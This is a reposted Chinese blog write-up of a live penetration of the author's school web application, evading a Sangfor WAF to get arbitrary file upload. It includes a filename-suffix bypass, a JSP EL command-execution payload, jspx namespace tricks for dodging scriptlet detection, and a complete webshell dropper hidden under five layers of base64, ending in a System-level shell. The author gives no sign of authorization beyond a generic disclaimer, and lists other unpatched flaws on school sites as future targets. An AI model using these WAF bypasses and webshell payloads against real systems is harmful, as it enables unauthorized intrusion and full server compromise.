实战|一次绕过waf的任意文件上传

admin 2022年6月27日00:54:08评论133 views字数 2292阅读7分38秒阅读模式

扫码领资料

获渗透教程

免费&进群

实战|一次绕过waf的任意文件上传
实战|一次绕过waf的任意文件上传

对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折

期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作

获取网站接口

主界面:

实战|一次绕过waf的任意文件上传

上传点:

实战|一次绕过waf的任意文件上传

由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie

实战|一次绕过waf的任意文件上传

任意文件上传:

实战|一次绕过waf的任意文件上传

文件名强制命名为code+学号,后缀为最后一次点号出现之后的字母

后缀名绕过


代码不限制后缀名,但是waf限制呀!

后缀名jspjspx会拦截,但是jsppjspxx等不会拦截

所以要利用windows特性绕过,常规的绕过手法例如末尾加点号::$DATA均无法绕过

实战|一次绕过waf的任意文件上传

经过fuzz,发现正斜杠可以绕过

实战|一次绕过waf的任意文件上传


内容绕过


常见的jsp标记均无法绕过

实战|一次绕过waf的任意文件上传

实战|一次绕过waf的任意文件上传

所以我们得绕过JSP标记检测,这里参考了yzddmr6师傅的两种 绕过方法

  • jspEL表达式绕过

  • jspx命名空间绕过

第一种是利用${}标记

payload:${Runtime.getRuntime().exec(request.getParameter("x"))}

但深信服waf过滤了一句话,需要变形绕过

鄙人太菜了,不了解相关函数的变形绕过,所以选择第二种写法

第二种是利用命名空间的特性

参照yzddmr6师傅的图:

实战|一次绕过waf的任意文件上传


使用自定义的命名空间,替换掉jsp的关键字

将原本的<jsp:scriptlet>替换成<自定义字符:scriptlet>

这样waf的正则匹配不到<jsp:scriptlet>自然就会放行

<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:scriptlet>
out.println(30*30);
</hi:scriptlet>
</hi>

实战|一次绕过waf的任意文件上传

实战|一次绕过waf的任意文件上传


获取网站路径


这里我们不能用相对路径来写入webshell

因为TomcatApache不同根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin作为根目录

# 获取当前的根目录
String path = System.getProperty("user.dir");
out.println(path);

实战|一次绕过waf的任意文件上传

# 获取web项目所在的目录
String path = application.getRealPath("test.jsp");
out.println(path);

实战|一次绕过waf的任意文件上传

所以写入shell的绝对路径应为D:/tomcat8/webapps/declare/static/upload/test.jsp

编码或加密绕过waf写入shell


菜鸡的payload:

<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.Base64,java.io.*"/>
<hi:scriptlet>
File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
FileWriter fileOut = new FileWriter(file);
Base64.Decoder base64 = Base64.getDecoder();
byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
try {
fileOut.write(new String(str, "utf-8"));
out.println("写入成功");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (fileOut != null) {
fileOut.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
</hi:scriptlet>
</hi>

一开始我是用两层base64编码,还是被检测了,经过fuzz发现五层编码即可绕过

鄙人太懒了,不想重新造轮子。如果各位师傅有时间的话,遇到这种waf建议用RSA、AES等加密算法绕过

实战|一次绕过waf的任意文件上传


成功getshell,System权限

实战|一次绕过waf的任意文件上传


看了一眼依赖,可能存在log4j2jackson的RCE,留着下次当靶场继续测试

实战|一次绕过waf的任意文件上传


总结

深信服的waf算挺强了,而且也足够恶心,检测可疑行为直接封ip,光是fuzz就用掉了快30个ip了

学校其他站点有thinkphp5.0.23 RCE泛微8.0前台sql注入的漏洞,但都有这个waf,实在没有耐心一个个fuzz

作者:John 

原文地址:https://xz.aliyun.com/t/11337

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.


@

学习更多渗透技能!体验靶场实战练习

实战|一次绕过waf的任意文件上传

hack视频资料及工具

实战|一次绕过waf的任意文件上传

(部分展示)


往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞


看到这里了,点个“赞”、“再看”吧

原文始发于微信公众号(白帽子左一):实战|一次绕过waf的任意文件上传

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日00:54:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战|一次绕过waf的任意文件上传https://cn-sec.com/archives/1144631.html

发表评论

匿名网友 填写信息